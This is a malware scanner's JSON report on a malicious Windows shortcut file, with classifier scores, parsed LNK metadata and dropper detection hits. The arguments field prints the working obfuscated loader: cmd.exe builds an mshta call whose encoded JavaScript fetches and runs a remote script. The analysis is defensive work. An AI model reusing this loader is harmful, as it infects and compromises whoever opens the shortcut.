{ "ml": { "v": "5", "fs": [ { "id": 0, "prob": 1.0, "class": 2, "threshold": 1.0 } ], "prob": 1.0, "class": 2, "level": 3, "models": [ { "m": "az", "prob": 0.9380215, "class": 0 }, { "m": "az/lnk", "prob": 1.0, "class": 2 } ], "version": "v17.17", "threshold": 1.0, "analyzed_at": "2026-05-31T13:38:00Z" }, "path": "c71f453365854d4758a853cab20ccbc6947c158e553ab0cf147fcf6a3d8a9ffe.lnk", "raw": { "v": "5", "fs": [ { "f": "O(C)Th", "x": 68, "ff": { "m": { "lnk": { "file_size": 335872.0, "args_leading_tabs": 0.0, "args_leading_spaces": 0.0, "args_whitespace_total": 33.0, "args_max_whitespace_run": 2.0 }, "file": { "size": 2904.0, "entropy": 3.58, "size_bytes": 2904.0 } }, "s": [ [ 137, "u8", "Windows" ], [ 223, "u8", "System32" ], [ 313, "u8", "cmd.exe" ], [ 439, "u8", "C:\\Windows\\System32\\cmd.exe" ], [ 1774, "u8", "%SystemRoot%\\System32\\imageres.dll" ], [ 2614, "u8", "win-e9g5ml1eucq" ] ], "v": { "file.stem": "c71f453365854d4758a853cab20ccbc6947c158e553ab0cf147fcf6a3d8a9ffe", "file.basename": "c71f453365854d4758a853cab20ccbc6947c158e553ab0cf147fcf6a3d8a9ffe.lnk", "lnk.arguments": "/WRKU:ICOKP /WLNFGA:1OP /D/C \"for %O in (riPt) do for %H in (JA) do for %N in (VAsc) do for %R in (m) do for %J in (SHTA) do %R%J \"%H%N%O:try{var YS=[\"Get\",\"je\",\"ct\",\"Ob\"];var YL=[\"cl\",\"os\",\"e\"];var CCT=[\"\\163\\x63\\162\\151\\160\\x74\\72\\150\\164\\x74\\160\\x73\\72\\57\\57\\155\\x6b\\x75\\71\",\"\\152\\56\\143\\x6f\\x6d\\x3f\\123\\x3d\\x44\\102\\x32\\101\\x37\\103\\x46\\105\\x30\\x46\",\"\\x30\\x45\\67\\103\\x39\\103\\x45\\x31\\x31\\60\\x37\\x33\\x39\\65\\x45\\x35\\62\\70\"];(window[YS[0]+YS[3]+YS[1]+YS[2]])(CCT[0]+CCT[1]+CCT[2]);}catch(ENQBS){}try{window[YL[0]+YL[1]+YL[2]]();}catch(IPQ){};\"\"", "lnk.blocks[0]": "icon_environment", "lnk.blocks[1]": "special_folder", "lnk.blocks[2]": "known_folder", "lnk.blocks[3]": "tracker", "lnk.blocks[4]": "property_store", "lnk.description": "Paula Carvalho", "lnk.target_path": "C:\\Windows\\System32\\cmd.exe", "lnk.volume.name": "Windows", "lnk.icon_location": "C:\\Windows\\System32\\imageres.dll", "lnk.relative_path": "..\\..\\..\\..\\Windows\\System32\\cmd.exe", "lnk.volume.serial": 1986294792, "lnk.header.flags[0]": "has_link_target_id_list", "lnk.header.flags[1]": "has_link_info", "lnk.header.flags[2]": "has_name", "lnk.header.flags[3]": "has_relative_path", "lnk.header.flags[4]": "has_working_dir", "lnk.header.flags[5]": "has_arguments", "lnk.header.flags[6]": "has_icon_location", "lnk.header.flags[7]": "is_unicode", "lnk.header.flags[8]": "has_exp_icon", "lnk.known_folder_id": "1ac14e77-02e7-4e5d-b744-2eb1ae5198b7", "lnk.header.file_size": 335872, "lnk.header.icon_index": 50, "lnk.header.write_time": 133894352758661897, "lnk.special_folder_id": 37, "lnk.volume.drive_type": "fixed", "lnk.working_directory": "C:\\Windows\\System32", "lnk.header.access_time": 133894352758661897, "lnk.tracker.file_droid": "f8008678-2bf4-11f0-8f30-002590e6960d", "lnk.tracker.machine_id": "win-e9g5ml1eucq", "lnk.header.show_command": "minimized_no_active", "lnk.tracker.mac_address": "00:25:90:e6:96:0d", "lnk.header.creation_time": 133894352758505642, "lnk.tracker.volume_droid": "64b19cc4-6c1b-40cb-bf13-ff589b1ea077", "lnk.icon_environment_target": "%SystemRoot%\\System32\\imageres.dll", "lnk.header.file_attributes[0]": "archive" }, "id": "lnk" }, "id": 0, "sz": 2904, "ts": [ { "a": "T1204.002", "c": 0.699999988079071, "d": "LNK targets cmd.exe", "e": [ "C:\\Windows\\System32\\cmd.exe" ], "i": "objectives/command-and-control/dropper/lnk/target::cmd-target", "l": 4, "el": [ "value:lnk.target_path" ] }, { "a": "T1204.002", "c": 0.800000011920929, "d": "LNK runs minimized without activation", "e": [ "minimized_no_active" ], "i": "objectives/command-and-control/dropper/lnk/target::minimized-window", "l": 4, "el": [ "value:lnk.header.show_command" ] }, { "c": 0.800000011920929, "d": "LNK contains UTF-16 parent traversal", "e": [ "2E 00 2E 00 5C 00 2E 00 2E 00 5C 00" ], "i": "micro-behaviors/fs/traversal/parent::lnk-utf16-relative-parent-chain", "l": 1, "el": [ "0x1f4" ] }, { "a": "T1204.002", "c": 0.8999999761581421, "d": "LNK has command-line arguments", "e": [ "/WRKU:ICOKP /WLNFGA:1OP /D/C \"for %O in (riPt) do for %H in (JA) do for %N in (VAsc) do for %R in (m) do for %J in (SHTA) do %R" ], "i": "objectives/command-and-control/dropper/lnk/target::has-arguments", "l": 1, "el": [ "value:lnk.arguments" ] }, { "a": "T1105", "c": 0.8500000238418579, "d": "LNK working directory is System32", "e": [ "25 00 53 00 79 00 73 00 74 00 65 00 6D 00 52 00 6F 00 6F 00 74 00 25 00 5C 00 53 00 79 00 73 00 74 00 65 00 6D 00 33 00 32 00" ], "i": "objectives/command-and-control/dropper/lnk/conhost-curl::working-directory-system32", "l": 1, "el": [ "0x7f2" ] }, { "a": "T1564.003", "c": 0.699999988079071, "d": "LNK contains cmd.exe target string", "e": [ "cmd.exe" ], "i": "objectives/command-and-control/dropper/lnk/window-hiding::lnk-text-cmd-target", "l": 1, "m": "F0008", "el": [ "0x139" ] }, { "a": "T1204.002", "c": 0.800000011920929, "d": "LNK targets cmd.exe with arguments", "e": [ "C:\\Windows\\System32\\cmd.exe", "/WRKU:ICOKP /WLNFGA:1OP /D/C \"for %O in (riPt) do for %H in (JA) do for %N in (VAsc) do for %R in (m) do for %J in (SHTA) do %R" ], "i": "objectives/command-and-control/dropper/lnk/target::cmd-with-args", "l": 4, "el": [ "value:lnk.target_path", "value:lnk.arguments" ] }, { "c": 0.8999999761581421, "d": "Identifies execution artefacts in shortcut (LNK) files.", "e": [ "cmd.exe", "$" ], "i": "third_party/bartblaze/generic/LNK_Ruleset/execution_in_lnk", "l": 4, "el": [ "offset:0x139", "offset:0x16f" ] } ], "sha": "c71f453365854d4758a853cab20ccbc6947c158e553ab0cf147fcf6a3d8a9ffe", "path": "c71f453365854d4758a853cab20ccbc6947c158e553ab0cf147fcf6a3d8a9ffe.lnk", "type": "lnk" } ], "tv": "52045" } }